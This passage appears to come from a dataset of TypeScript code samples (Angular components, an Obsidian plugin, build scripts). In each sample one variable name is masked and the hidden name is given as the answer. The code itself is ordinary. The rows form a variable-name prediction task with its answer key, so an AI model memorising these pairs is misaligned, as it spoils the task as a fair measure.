        return BuildActionExecutor;
      case ""harvest"":
        return HarvestActionExecutor;
      case ""repair"":
        return RepairActionExecutor;
      case ""transfer"":
        return TransferActionExecutor;
      case ""upgrade"":
        return UpgradeActionExecutor;
      case ""withdraw"":
        return WithdrawActionExecutor;
      default:
        throw new Error(`[ERROR] Getting executor of unknown action: ${action}`);
    }
  }
}
",force
787,"import { Directive, TemplateRef, ViewContainerRef, ChangeDetectorRef } from ""@angular/core"";


/**
 * How to use this directive?
 *
 * ```
 * <div *ngIfMediaQuery=""'(min-width: 500px)'"">
 *     Div element will exist only when media query matches, and created/destroyed when the viewport size changes.
 * </div>
 * ```
 */
@Directive({
  selector: '[ngIfMediaQuery]', 
  inputs: ['ngIfMediaQuery']
})
export class NgIfMediaQuery {
  private prevCondition: boolean = null;

  private mql: MediaQueryList;
  private mqlListener: (mql: MediaQueryList) => void;   // reference kept for cleaning up in ngOnDestroy()
  constructor(
    private viewContainer: ViewContainerRef,
     private templateRef: TemplateRef<Object>,
     private cd: ChangeDetectorRef) {}

  /**
   * Called whenever the media query input value changes.
   */
  set ngIfMediaQuery( [MASK] : string) {
    if (!this.mql) {
      this.mql = window.matchMedia( [MASK] );

      /* Register for future events */
      this.mqlListener = (mq) => {
        this.onMediaMatchChange(mq.matches);
      };
      this.mql.addListener(this.mqlListener);
    }

    this.onMediaMatchChange(this.mql.matches);
  }

  isBlank (x) { return !x; }

  ngOnDestroy() {
    this.mql.removeListener(this.mqlListener);
    this.mql = this.mqlListener = null;
  }

  private onMediaMatchChange(matches: boolean) {
    // this has been taken verbatim from NgIf implementation
    if (matches && (this.isBlank(this.prevCondition) || !this.prevCondition)) {
      this.prevCondition = true;
      this.viewContainer.createEmbeddedView(this.templateRef);
      this.cd.detectChanges();
    } else if (!matches && (this.isBlank(this.prevCondition) || this.prevCondition)) {
      this.prevCondition = false;
      this.viewContainer.clear();
    }
  }
}",newMediaQuery
788,"import type {Map} from '../../index.js';
import {Api} from '../../index.js';
import type {Deserializer} from '../../types/adapter.js';
import * as Adapters from '../index.js';

const textItemAdapter: Deserializer<Api.Map.TextItem, Map.TextItem> = {
	deserialize(apiTextItem) {
		return {
			text: apiTextItem.text,
			mapMarkerType: apiTextItem.mapMarkerType,
			coordinates: {x: apiTextItem.x, y: apiTextItem.y},
		};
	},
};

const itemAdapter: Deserializer<Api.Map.Item, Map.Item> = {
	deserialize(apiItem) {
		// eslint-disable-next-line no-bitwise
		const isScorched = (apiItem.flags | Api.Map.Flags.IsScorched) === apiItem.flags;

		return {
			team: Adapters.team.deserialize(apiItem.teamId),
			icon: apiItem.iconType,
			coordinates: {x: apiItem.x, y: apiItem.y},
			flags: {
				/* eslint-disable no-bitwise */
				isVictoryBase: (apiItem.flags | Api.Map.Flags.IsVictoryBase) === apiItem.flags,
				isHomeBase: (apiItem.flags | Api.Map.Flags.IsHomeBase) === apiItem.flags,
				isBuildSite: (apiItem.flags | Api.Map.Flags.IsBuildSite) === apiItem.flags,
				isScorched,
				isTownClaimed: (apiItem.flags | Api.Map.Flags.IsTownClaimed) === apiItem.flags,
				isLaunchedRocketSite: isScorched && apiItem.iconType === Api.Map.Icon.RocketSite && apiItem.teamId !== Api.Team.None,
				/* eslint-enable no-bitwise */
			},
		};
	},
};

export const data: Deserializer<Api.Map.Data, Map.Data> = {
	deserialize( [MASK] ) {
		return {
			regionId:  [MASK] .regionId,
			scorchedVictoryTownCount:  [MASK] .scorchedVictoryTowns,
			items:  [MASK] .mapItems.map(apiItem => itemAdapter.deserialize(apiItem)),
			textItems:  [MASK] .mapTextItems.map(apiTextItem => textItemAdapter.deserialize(apiTextItem)),
			lastUpdated: new Date( [MASK] .lastUpdated),
			version:  [MASK] .version,
		};
	},
};
",apiData
789,"import { AfterViewInit, Component, ElementRef, OnInit, ViewChild } from ""@angular/core"";
import { Chart } from ""chart.js"";

import { ItemDomain } from ""../../domains/item/item.domain"";
import { ItemDto } from ""../../dtos/item/item.dto"";

@Component({
  selector: ""app-page-home"",
  styleUrls: [""./page-home.component.scss""],
  templateUrl: ""./page-home.component.html"",
})
export class PageHomeComponent implements AfterViewInit, OnInit {

  public recommendedItemList: ItemDto[];

  public steps: number;

  @ViewChild(""canvas"")
  private canvas: ElementRef;

  private chart: Chart;

  private itemDomain: ItemDomain;

  public constructor(itemDomain: ItemDomain) {
    this.itemDomain = itemDomain;
  }

  public ngAfterViewInit(): void {
    const element: any = this.canvas.nativeElement;
    if (!(element instanceof HTMLCanvasElement)) {
      return;
    }

    const context: CanvasRenderingContext2D | null = element.getContext(""2d"");
    if (context === null) {
      return;
    }

    this.itemDomain.accumulateDailyStepsIntegrally().subscribe(( [MASK] : [Date, number][]): void => {
      this.chart = new Chart(context, {
        data: {
          datasets: [
            {
              data:  [MASK] .map((dailyStep: [Date, number]): { x: Date, y: number } => {
                return {
                  x: dailyStep[0],
                  y: dailyStep[1],
                };
              }),
            },
          ],
        },
        options: {
          legend: {
            display: false,
          },
          scales: {
            xAxes: [
              {
                type: ""time"",
                time: {
                  unit: ""day"",
                },
              },
            ],
            yAxes: [
              {
                ticks: {
                  beginAtZero: true,
                },
              },
            ],
          },
        },
        type: ""line"",
      });
    });
  }

  public ngOnInit(): void {
    this.itemDomain.accumulateSteps().subscribe((steps: number): void => {
      this.steps = steps;
    });

    this.itemDomain.pickupRecommendedItemList().subscribe((itemList: ItemDto[]): void => {
      this.recommendedItemList = itemList.sort((a: ItemDto, b: ItemDto): number => {
        return b.id - a.id;
      });
    });
  }

}
",dailySteps
790,"import * as React from 'react';
import { clsx } from 'clsx';

import { domElements, SupportedHTMLElements } from './domElements';

// Helper type to extract props type from a component
type ComponentProps<T> = T extends React.ComponentType<infer P> ? P : never;

// Type for the primitive component creator function
type PrimitiveCreator<T extends keyof React.JSX.IntrinsicElements> = (
  className?: string | string[],
) => React.FC<React.JSX.IntrinsicElements[T]>;

// Type for the styled component creator function
type StylitComponentCreator = <T extends React.ComponentType<any>>(
  Component: T,
  className?: string | string[],
) => React.FC<ComponentProps<T>>;

// Create the primitive component
const createPrimitive = <T extends keyof React.JSX.IntrinsicElements>(
  element: T,
): PrimitiveCreator<T> => {
  return (className?: string | string[]) => {
    const  [MASK] : React.FC<React.JSX.IntrinsicElements[T]> = (
      props,
    ) => {
      // todo: refactor classname logic into a reusable util for components and elements
      // allow multiple classnames to be passed at once
      const classNameArgAsString = Array.isArray(className)
        ? clsx(className)
        : className;

      // combine all classNames
      const classNamesAsString = clsx(classNameArgAsString, props?.className);

      return React.createElement(element, {
        ...props,
        className: classNamesAsString,
      });
    };
    return  [MASK] ;
  };
};

// Create the stylit component
const createStylitComponent: StylitComponentCreator = (
  Component,
  className?,
) => {
  return (props) => {
    // allow multiple classnames to be passed at once
    const classNameArgAsString = Array.isArray(className)
      ? clsx(className)
      : className;

    // combine all classNames
    const classNamesAsString = clsx(classNameArgAsString, props?.className);

    return React.createElement(Component, {
      ...props,
      className: classNamesAsString,
    });
  };
};

// Type for the primitives object
type Primitives = {
  [K in SupportedHTMLElements]: PrimitiveCreator<
    K & keyof React.JSX.IntrinsicElements
  >;
} & {
  react: StylitComponentCreator;
};

// Create the primitives object with proper typing
const primitives = {} as Primitives;

// Add all DOM elements to the primitives object
domElements.forEach((domElement) => {
  primitives[domElement] = createPrimitive(
    domElement as keyof React.JSX.IntrinsicElements,
  );
});

// Add the React primitive for styling custom components
primitives.react = createStylitComponent;

export { primitives as stylit };

// Usage example:
// const Wrapper = stylit.div('wrapper-class');  // Type: FC<HTMLDivElement>
// const List = stylit.ul('list-class');         // Type: FC<HTMLUListElement>
",PrimitiveComponent
791,"import { Component, OnInit, Input, Output, EventEmitter, forwardRef, ViewChild, ElementRef } from '@angular/core';
import { Observable, Subscription } from 'rxjs';
import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms';

@Component({
    moduleId: 'ng2-combobox',
    selector: 'combo-box',
    template: `
        <div class=""field-wrap"">
            <input #inputField class=""{{inputClass}}"" type=""text"" placeholder=""{{inputPlaceholder}}""
                   [(ngModel)]=""currVal""
                   (keydown)=""onKeyDown($event)""
                   (blur)=""onFieldBlur($event)""
                   (focus)=""onFieldFocus()"">
        
            <div class=""icons"">
                <i *ngIf=""loading"" class=""{{loadingIconClass}}""></i>
                <i *ngIf=""!loading && hideList"" (click)=""onTriggerClick()"" class=""{{triggerIconClass}}""></i>
                <i *ngIf=""!loading && !hideList"" class=""{{triggerIconClass}} up""></i>
            </div>
        
            <div class=""list"" *ngIf=""data && !hideList"" (mouseenter)=""onMouseEnterList()"" (mouseleave)=""onMouseLeaveList()"">
                <div class=""no-matches"" *ngIf=""noMatchesText && data.length == 0"">{{noMatchesText}}</div>
                <div *ngFor=""let item of data;let index = index;""
                     [ngClass]=""{'item': true, 'marked': isMarked(item), 'disabled': isDisabled(item)}""
                     (click)=""onItemClick(index, item)"">
                    {{getDisplayValue(item)}}
                </div>
            </div>
        </div>
    `,
    styles: [`
        .field-wrap {
            position: relative;
        }
                
        .list {
            position: absolute;
            width: 100%;
            height: auto;
            background-color: white;
            box-shadow: 0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24);
            z-index: 9999;
            max-height: 200px;
            overflow: auto;
        }
        
        .list .no-matches {
            padding: 10px 20px;
            cursor: default;
            user-select: none;
            font-style: italic;
        }

        .list .item {
            padding: 10px 20px;
            cursor: pointer;
        }
        
        .list .item.marked,
        .list .item:hover{
            background-color: #ecf0f5;
        }
        
        .list .item.marked {
            font-weight: bold;
        }
        
        .list .item.disabled {
            opacity: .5;
        }
        
        .icons {
            position: absolute;
            right: 8px;
            top: 0px;
            height: 100%;
        }
        
        .icons i {
            height: 20px;
            width: 20px;
            position: absolute;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            margin: auto auto auto -20px;
        }
        
        .loader {
            background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgi<KEY>');
            background-size: cover;
        }
        
        .trigger {
            background-size: contain;
            background-repeat: no-repeat;
            background-position: center center;
            background-image: url(""data:image/svg+xml;base64,<KEY>"");
            cursor: pointer;
        }

        .trigger.up {
            transform: rotate(180deg);    
        }

        input::-ms-clear {
            display:none;
        }
    `],
    providers: [{
        provide: NG_VALUE_ACCESSOR,
        useExisting: forwardRef(() => ComboBoxComponent),
        multi: true
    }]
})
export class ComboBoxComponent implements ControlValueAccessor, OnInit {

    @Input()
    displayField: string;
    @Input()
    valueField: string;
    @Input()
    remote: boolean = false;
    @Input()
    clearOnSelect: boolean = false;
    @Input()
    forceSelection: boolean = true;
    @Input()
    localFilter: boolean = false;
    @Input()
    localFilterCaseSensitive: boolean = true;
    @Input()
    typeAheadDelay: number = 500;
    @Input()
    inputClass: string = 'form-control';
    @Input()
    inputPlaceholder: string = '';
    @Input()
    loadingIconClass: string = 'loader';
    @Input()
    triggerIconClass: string = 'trigger';
    @Input()
    dataRoot: string = '';
    @Input()
    disabledField: string = null;
    @Input()
    editable: boolean = true;
    @Input()
    noMatchesText: string = '';

    @Output()
    onQuery = new EventEmitter<string>();
    @Output()
    onSelect = new EventEmitter<string>();
    @Output()
    onCreate = new EventEmitter<string>();
    @Output()
    onBlur = new EventEmitter<any>();
    @Output()
    onInitValue = new EventEmitter<string>();

    @ViewChild('inputField') _input: any;

    hideList: boolean = true;
    data: any[];

    private _loading: boolean = false;
    private _listDataSubscription: Subscription;
    private _aheadTimer: number;
    private _currVal: string;
    private _marked: number = null;
    private _initialData: any[];
    private _hasFocus: boolean = false;
    private _tmpVal: any;
    private _enterCued: boolean = false;
    private _noBlur: boolean = false;

    // ControlValueAccessor props
    private propagateTouch = () => {
    };
    private propagateChange = (_: any) => {
    };

    constructor(private scrollElement: ElementRef) {
    }

    ngOnInit() {
    }

    @Input()
    set listData(value: Observable<Object[]> | Object[]) {
        if (this._listDataSubscription) {
            this._listDataSubscription.unsubscribe();
        }

        if (value instanceof Observable) {
            const listData = <Observable<Object[]>>value;
            this._listDataSubscription = listData.subscribe((data: any) => {
                // todo: make dataRoot work for all depths
                if (this.dataRoot) {
                    data = <Object[]>data[this.dataRoot];
                }
                this.data = this._initialData = data;
                this.loading = false;
                if (0 === this._tmpVal || this._tmpVal) {
                    this.writeValue(this._tmpVal);
                }
            });
        } else {
            let data = <Object[]>value;
            this.data = this._initialData = data;
            this.loading = false;

            // If the list data change, trigger a reprocessing.
            this.loadData();
        }
    }

    @Input()
    set currVal(value: string) {
        this._currVal = value;
        this._tmpVal = null;
        this.marked = null;
        this.hideList = !this._hasFocus && !this._noBlur;

        clearTimeout(this._aheadTimer);
        if (!this._currVal) {
            this.sendModelChange(null);
        }

        this._aheadTimer = setTimeout(this.loadData.bind(this), this.typeAheadDelay);
    }

    get currVal(): string {
        return this._currVal;
    }

    set marked(value: number) {
        if (null === value) {
            this._marked = value;
        } else if (this.data && 0 <= value && this.data.length >= value - 1) {
            this._marked = value;
            // use private var to prevent query trigger
            this._currVal = this.getDisplayValue(this.data[this._marked]);
        }
        this.scrollToMarkedElement();
    }

    private scrollToMarkedElement() {
        let el = this.scrollElement.nativeElement.querySelector(`.list .item:nth-child(${this.marked + 1})`);

        let alignToTop = false;
        el.scrollIntoView(alignToTop);
    }

    get marked(): number {
        return this._marked;
    }

    set loading(loading: boolean) {
        this._loading = loading;
        if (!loading && this._enterCued) {
            this._enterCued = false;
            this.handleEnter();
        }
    }

    get loading(): boolean {
        return this._loading;
    }

    onKeyDown(event: KeyboardEvent) {
        const  [MASK]  = event.which || event.keyCode;
        switch ( [MASK] ) {
            case 13:
                event.preventDefault();
                this.handleEnter();
                break;
            case 38:
                event.preventDefault();
                this.handleUp();
                break;
            case 40:
                event.preventDefault();
                this.handleDown();
                break;
            default:
                if (!this.editable) {
                    event.preventDefault();
                    event.stopImmediatePropagation();
                    return false;
                }
                break;
        }
    }

    onItemClick(index: number, item: Object) {
        if (this.isDisabled(item)) {
            return;
        }
        this._noBlur = false;
        this.marked = index;

        this.onSelect.emit(this.data[this.marked]);
        this.sendModelChange(this.data[this.marked]);

        if (this.clearOnSelect) {
            this.clear();
        } else {
            this.hideList = true;
        }
        if (!this.remote && !this.localFilter) {
            this.data = this._initialData;
        }
    }

    onFieldBlur(event: FocusEvent) {
        this._hasFocus = false;
        if (this._noBlur) {
            return;
        }

        this.onBlur.emit(event);
        // timeout for hide to catch click event on list :-(
        setTimeout(() => {
            this.handleEnter();
        }, 200);

        this.propagateTouch();
    }

    onFieldFocus() {
        this._hasFocus = true;
        this.hideList = false;
        if (!this.editable) {
            this.clear();
        }
        this.loadData();
    }

    onMouseEnterList() {
        this._noBlur = true;
    }

    onMouseLeaveList() {
        this._noBlur = false;
    }

    isMarked(value: Object): boolean {
        if (null === this.marked) {
            return false;
        }
        return this.data[this.marked] === value;
    }

    isDisabled(value: Object): boolean {
        if (!this.disabledField) {
            return false;
        }

        return !!value[this.disabledField];
    }

    getDisplayValue(val: any) {
        let result: any = val;

        if (!this.displayField || !val) {
            return null;
        }

        this.displayField.split('.').forEach((index) => {
            result = result[index];
        });

        return result;
    }

    private handleEnter() {
        if (!this.loading) {
            // try to determine marked (look if item is in list)
            if (!this.marked) {
                for (let i = 0; i < this.data.length; i++) {
                    if (this.currVal === this.getDisplayValue(this.data[i])) {
                        this.marked = i;
                        break;
                    }
                }
            }
            if (null === this.marked) {
                if (this.forceSelection) {
                    this.onSelect.emit(null);
                    this.sendModelChange(null);
                    this.clear();
                } else {
                    this.onCreate.emit(this.currVal);
                    //this may causes error
                    this.sendModelChange(this.currVal);
                }
            } else {
                let item = this.data[this.marked];
                if (this.isDisabled(item)) {
                    return;
                }
                this.onSelect.emit(this.data[this.marked]);
                this.sendModelChange(this.data[this.marked]);
            }

            if (this.clearOnSelect) {
                this.clear();
            } else {
                this.hideList = true;
            }
            if (!this.remote && !this.localFilter) {
                this.data = this._initialData;
            }
        }
        else {
            this._enterCued = true;
        }
    }

    private handleUp() {
        if (null !== this.marked && this.marked > 0) {
            this.marked--;
        } else {
            this.marked = 0;
        }
    }

    private handleDown() {
        if (null !== this.marked && this.marked >= 0) {
            if(this.marked < this.data.length - 1) {
                this.marked++;
            }
        } else {
            this.marked = 0;
        }
    }

    private clear() {
        this.currVal = '';
        this.data = [];
    }

    private getValueValue(val: any) {
        let result: any = val;

        if (!this.valueField || !val) {
            return val;
        }

        this.valueField.split('.').forEach((index) => {
            result = result[index];
        });

        return result;
    }

    private loadData() {
        if (!this.remote) {
            if (this.localFilter) {
                this.data = this._initialData.filter((item) => {
                    if (!this.currVal) {
                        return true;
                    } else {
                        if (this.localFilterCaseSensitive) {
                            return -1 !== this.getDisplayValue(item).indexOf(this.currVal);
                        } else {
                            return -1 !== this.getDisplayValue(item).toLowerCase().indexOf(this.currVal.toLowerCase());
                        }
                    }
                });
            }
        } else {
            this.loading = true;
            this.onQuery.emit(this._currVal);
        }
    }

    private sendModelChange(val: any) {
        this.propagateChange(this.getValueValue(val));
    }

    private searchValueObject(value: any): any {
        if (false === value instanceof Object && this.valueField && this._initialData) {
            this._initialData.forEach((item) => {
                if (value === this.getValueValue(item)) {
                    value = item;
                }
            });
        }
        return value;
    }

    onTriggerClick() {
        if (this.hideList) {
            this._input.nativeElement.focus();
            return;
        }
        this._input.nativeElement.blur();
    }

    writeValue(value: any): void {
        value = this.searchValueObject(value);

        if (value instanceof Object && this.getDisplayValue(value)) {
            this.currVal = this.getDisplayValue(value);
        } else {
            this._tmpVal = value;
        }

        this.onInitValue.emit(value);
    }

    registerOnChange(fn: any): void {
        this.propagateChange = fn;
    }

    registerOnTouched(fn: any): void {
        this.propagateTouch = fn;
    }
}
",code
792,"import { QueueRequestLog, ISaverClass } from ""./QueueRequestLog"";

import { Result } from ""./Result"";

type QueueItem = {
    pathSubject:string, jsonString:string
}
export class QueueRequestLogHanbler implements ISaverClass{
    handler : ISaverClass;
    queueItems: QueueItem[];
    index:number;
    intervalIndex: NodeJS.Timer;
    working: boolean;
    asyncMode : boolean;
    constructor(handler: ISaverClass,  [MASK] :number = 100, asyncMode:boolean = true){
        this.index = 0;
        this.working = false;
        this.queueItems = [] ;
        this.handler = handler;
        this.intervalIndex = setInterval(()=>{this.handlerItem()},  [MASK] ) ;
        this.asyncMode = asyncMode;
    }
    async save(pathSubject:string, jsonString:string): Promise<Result>{
        const result = new Result();
        if(!pathSubject || !jsonString){
            result.messages.push('empty message');
            return result;
        }
        result.result = this.index++;
        result.success = true;
        result.messages.push('inserted into queue');
        this.queueItems.push({pathSubject, jsonString});
        return result;
    }
    handlerItem():void{
        if(this.working || !this.queueItems || this.queueItems.length == 0){
            return;
        }
        //save it is working
        this.working = true
        //get next item of queue
        let item = this.queueItems.shift() as QueueItem;
        let saveResult: Promise<Result> = this.handler.save(item.pathSubject, item.jsonString) ;
        if(!this.asyncMode){
            this.working = false
            return;
        }
        const refThis = this;
        saveResult.then(r=>{
            refThis.working = false
        }).catch(e=>{
            console.log(e);
            refThis.working = false
        })
    }
}",frequencyToHandler
793,"import { ensureDirSync } from ""https://deno.land/std@0.93.0/fs/mod.ts"";
import * as path from ""https://deno.land/std@0.93.0/path/mod.ts"";
import { Command } from ""https://deno.land/x/cliffy@v0.18.0/command/mod.ts"";
import { schema2js } from ""../../codegen/js.ts"";
import { writeJsAndDts } from ""../../io/write-file.ts"";
import { getReadFunction } from ""../../io/read-schema.ts"";

interface Options {
  out: string;
  target?: string;
}

export default new Command()
  .arguments(""<ubershape:string> [subshapes...:string]"")
  .description(""generate runtime codes from schema files"")
  .option(""-o, --out <value:string>"", ""out directory"")
  .option(""-t, --target <value:string>"", ""target language"", {
    default: ""js"",
  })
  .action(async (options: Options, ubershape: string, subshapes: string[]) => {
    const outDir = path.resolve(options.out);
    const read = getReadFunction();
    const  [MASK]  = read(path.resolve(ubershape));
    const _subshapes = subshapes.map(
      (subshapePath) => path.resolve(subshapePath),
    ).map(read);
    const readResults = [ [MASK] , ..._subshapes];
    ensureDirSync(outDir);
    for (const { schema } of readResults) {
      writeJsAndDts(schema, outDir, schema2js(schema));
    }
  });
",_ubershape
794,"import path from ""path"";
import fs from ""fs-extra"";
import replace from ""lodash/replace"";
import endsWith from ""lodash/endsWith"";
import klaw from ""klaw"";

/**
 * This is a basic build script that copies the cloudformation files in /infra/cf to /app/data/cfn while
 * making them .ts files that export yaml strings. This makes it easier to ingest them in other .ts files.
 */
async function run(): Promise<void> {
  const  [MASK]  = path.join(__dirname, ""../../infra/cf"");
  const destDir = path.join(__dirname, ""../src/data/cf"");

  for await (const file of klaw( [MASK] , { depthLimit: 0 })) {
    if (!endsWith(file.path, "".yaml"")) continue;

    // Load the content of the file
    let content = await fs.readFile(file.path, ""utf8"");

    // Escape any '$' and '`'
    content = replace(content, /\\/g, ""\\\\"");
    content = replace(content, /\$/g, ""\\$"");
    content = replace(content, /`/g, ""\\`"");

    // Write the .ts file
    const basename = path.basename(file.path);
    await fs.writeFile(path.join(destDir, `${basename}.ts`), `export const yaml = \`${content}\``);
  }
}

run();
export {};
",sourceDir
795,"import { Component } from '@angular/core';
import { ElectronService } from './core/services';
import { TranslateService } from '@ngx-translate/core';
import { APP_CONFIG } from '../environments/environment';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss']
})
export class AppComponent {
  constructor(
    private electronService: ElectronService,
    private translate: TranslateService
  ) {

    const  [MASK]  = window.localStorage.getItem('language-option');

    const broserLang = this.translate.getBrowserLang();
    let lang = 'zh';
    if (['en', 'zh'].includes(broserLang)) {
      lang = broserLang;
    }

    lang =  [MASK]  || lang;

    this.translate.setDefaultLang(lang);
    this.translate.use(lang);
    console.log('APP_CONFIG', APP_CONFIG);

    if (electronService.isElectron) {
      console.log(process.env);
      console.log('Run in electron');
      console.log('Electron ipcRenderer', this.electronService.ipcRenderer);
      console.log('NodeJS childProcess', this.electronService.childProcess);
    } else {
      console.log('Run in browser');
    }
  }
}
",vLang
796,"import {
	Compiler,
	Component,
	ComponentFactory,
	ComponentFactoryResolver,
	ComponentRef,
	ModuleWithComponentFactories,
	NgModule,
	ViewChild,
	ViewContainerRef
} from '@angular/core';

import { CommonModule } from '@angular/common';
import { ParseService } from './parse.service';
import { ControlsModule } from './controls/controls.module'

import { FormControl } from '@angular/forms';

@Component({
	selector: 'compiler',
	templateUrl: './compiler.component.html',
	styleUrls: ['./compiler.component.css']
})

export class CompilerComponent {
  template: string = `The meeting took place in {number:2017}, at {list:Saint-Petersburg,Moscow,London:Moscow} and was attended by {string:Trump} in period of {range:1,11} September`;

	@ViewChild('container', { read: ViewContainerRef })
  container: ViewContainerRef;
  formControl: FormControl;

	private componentRef: ComponentRef<{}>;

	constructor(
		private componentFactoryResolver: ComponentFactoryResolver,
		private parseService: ParseService,
		private compiler: Compiler) {
      let templateValidator = (control: FormControl) => {
        if (this.parseService.validate(control.value)) {
          return null;
        };
        return {
          braces: true
        };
      };
      this.formControl = new FormControl('', [templateValidator]);
  }

  cleartTemplate() {
    this.template = '';
    this.container.clear();
  }

	compileTemplate() {
		const text = this.parseService.parse(this.template);
		const metadata = {
			template: `<span style=""line-height:60px"" class=""mat-body-1"">${text}</span>`
		};
		const  [MASK]  = this.createComponentFactorySync(this.compiler, metadata, null);

		if (this.componentRef) {
			this.componentRef.destroy();
			this.componentRef = null;
		}
		this.componentRef = this.container.createComponent( [MASK] );
  }

	private createComponentFactorySync(compiler: Compiler, metadata: Component, componentClass: any): ComponentFactory<any> {
		const cmpClass = componentClass || class RuntimeComponent { };
		const decoratedCmp = Component(metadata)(cmpClass);

		@NgModule({
			imports: [
				CommonModule,
				ControlsModule
			],
			declarations: [ decoratedCmp ]
		})
		class RuntimeComponentModule { }

		let module: ModuleWithComponentFactories<any> = compiler.compileModuleAndAllComponentsSync(RuntimeComponentModule);
		return module.componentFactories.find(f => f.componentType === decoratedCmp);
	}
}
",factory
797,"import { ItemView, Plugin } from ""obsidian"";

import type { Canvas } from ""./types"";
import { CanvasKeyboardPanSettingsTab } from ""./settings"";
import { xor } from ""./util"";

export enum Direction {
	North = ""north"",
	West = ""west"",
	South = ""south"",
	East = ""east"",
}

export interface CanvasKeyboardPanSettings {
	keys: Record<Direction, string>;
	maxSpeed: number;
}

export const DEFAULT_SETTINGS: CanvasKeyboardPanSettings = {
	keys: {
		[Direction.North]: ""w"",
		[Direction.West]: ""a"",
		[Direction.South]: ""s"",
		[Direction.East]: ""d"",
	},
	maxSpeed: 250,
};

export class CanvasKeyboardPan extends Plugin {
	// Settings
	settings: CanvasKeyboardPanSettings = {
		keys: { ...DEFAULT_SETTINGS.keys },
		maxSpeed: DEFAULT_SETTINGS.maxSpeed,
	};

	// State
	PanStart: Date | null = null;
	NorthKeyDown = false;
	EastKeyDown = false;
	SouthKeyDown = false;
	WestKeyDown = false;
	active = false;
	panInterval: number | undefined = undefined;
	async onload() {
		const data = (await this.loadData()) as Partial<CanvasKeyboardPanSettings>;
		if (data) {
			this.settings = { ...DEFAULT_SETTINGS, ...data };
		}
		this.addSettingTab(new CanvasKeyboardPanSettingsTab(this.app, this));

		this.registerDomEvent(this.app.workspace.containerEl, ""keydown"", (evt) => {
			if (this.app.workspace.activeEditor) {
				return;
			}
			if (Object.values(this.settings.keys).includes(evt.key)) {
				switch (evt.key) {
					case this.settings.keys[Direction.North]:
						this.NorthKeyDown = true;
						this.SouthKeyDown = false;
						break;
					case this.settings.keys[Direction.West]:
						this.WestKeyDown = true;
						this.EastKeyDown = false;
						break;
					case this.settings.keys[Direction.South]:
						this.SouthKeyDown = true;
						this.NorthKeyDown = false;
						break;
					case this.settings.keys[Direction.East]:
						this.EastKeyDown = true;
						this.WestKeyDown = false;
						break;
				}
				this.startPan();
			}
		});

		this.registerDomEvent(this.app.workspace.containerEl, ""keyup"", (evt) => {
			if (Object.values(this.settings.keys).includes(evt.key)) {
				switch (evt.key) {
					case this.settings.keys[Direction.North]:
						this.NorthKeyDown = false;
						break;
					case this.settings.keys[Direction.West]:
						this.WestKeyDown = false;
						break;
					case this.settings.keys[Direction.South]:
						this.SouthKeyDown = false;
						break;
					case this.settings.keys[Direction.East]:
						this.EastKeyDown = false;
						break;
				}
				this.stopPan();
			}
		});

		this.registerEvent(this.app.workspace.on(""active-leaf-change"", () => {}));

		this.registerEvent(
			this.app.workspace.on(""layout-change"", () => {
				// Reset state just in case
				this.stopPan(true);

				if (this.getActiveCanvas()) {
					this.active = true;
				} else {
					this.active = false;
				}
			}),
		);

		// Events that should also stop any active panning
		const  [MASK]  = [""active-leaf-change"", ""file-open"", ""file-menu"", ""files-menu""] as const;
		for (const event of  [MASK] ) {
			this.registerEvent(
				// eslint-disable-next-line @typescript-eslint/no-explicit-any -- Some bad types here, need to use any :(
				this.app.workspace.on(event as any, () => {
					this.stopPan(true);
				}),
			);
		}
	}

	public startPan(): void {
		if (this.panInterval === undefined) {
			this.panInterval = this.registerInterval(window.setInterval(() => this.handlePanKeys(), 10));
		}
	}

	public stopPan(force = false): void {
		if (!this.panning || force) {
			window.clearInterval(this.panInterval);
			this.panInterval = undefined;
		}
		if (force) {
			this.NorthKeyDown = false;
			this.WestKeyDown = false;
			this.SouthKeyDown = false;
			this.EastKeyDown = false;
		}
	}

	public get panning(): boolean {
		return xor(this.EastKeyDown, this.WestKeyDown) || xor(this.NorthKeyDown, this.SouthKeyDown);
	}

	public getActiveCanvas(): Canvas | undefined {
		const canvas = this.app.workspace.getActiveViewOfType(ItemView)?.canvas;
		if (!canvas) {
			// if at any point this is false, make sure we stop panning.
			this.stopPan();
		}
		return canvas;
	}

	public handlePanKeys(): void {
		let ms = 0;
		if (this.PanStart === null) {
			this.PanStart = new Date();
		} else {
			ms = new Date().getTime() - this.PanStart.getTime();
		}
		let dx = 0;
		let dy = 0;
		// NORTH
		if (this.NorthKeyDown && !this.SouthKeyDown) {
			dy -= this.getPanDistance(ms, this.settings.maxSpeed);
		}
		// SOUTH
		else if (this.SouthKeyDown && !this.NorthKeyDown) {
			dy += this.getPanDistance(ms, this.settings.maxSpeed);
		}
		// WEST
		if (this.WestKeyDown && !this.EastKeyDown) {
			dx -= this.getPanDistance(ms, this.settings.maxSpeed);
		}
		// EAST
		else if (this.EastKeyDown && !this.WestKeyDown) {
			dx += this.getPanDistance(ms, this.settings.maxSpeed);
		}

		this.pan(dx, dy);
	}

	public pan(dx: number, dy: number): void {
		const canvas = this.getActiveCanvas();
		if (!canvas) {
			return;
		}
		// Zoom seems to be between -4 and 1, so add 5 to get it always >= 1
		const zoom = (canvas.zoom ?? -4) + 5;
		dx = dx / zoom;
		dy = dy / zoom;

		canvas.tx += dx;
		canvas.ty += dy;

		// Before updating the canvas at all, make sure these are never NaN, just in case
		if (isNaN(canvas.tx)) {
			canvas.tx = 0;
		}
		if (isNaN(canvas.ty)) {
			canvas.ty = 0;
		}
		canvas.markViewportChanged();
	}

	public getPanDistance(msPanning: number = 0, max: number = 250) {
		if (msPanning < 1) {
			return 0;
		}
		return Math.min((Math.log10(msPanning) * max) / 3, 250);
	}

	public resetCanvas(): void {
		this.getActiveCanvas()?.panTo(0, 0);
	}
}
",events
798,"// generate.ts
import chalk from 'chalk'
import { execFileSync } from 'child_process'
import dotenv from 'dotenv'
import fs from 'fs-extra'
import path from 'path'
import { FigmaDocument, IconFontData, IconMapper } from './interfaces'

// Load environment variables
dotenv.config()
//Retrieve Figma Access Token and Canvas from .env file
const FIGMA_API_TOKEN = process.env.FIGMA_API_TOKEN
const FIGMA_CANVAS_URL = process.env.FIGMA_CANVAS_URL

// Validate required environment variables
if (!FIGMA_API_TOKEN || !FIGMA_CANVAS_URL) {
    console.error(
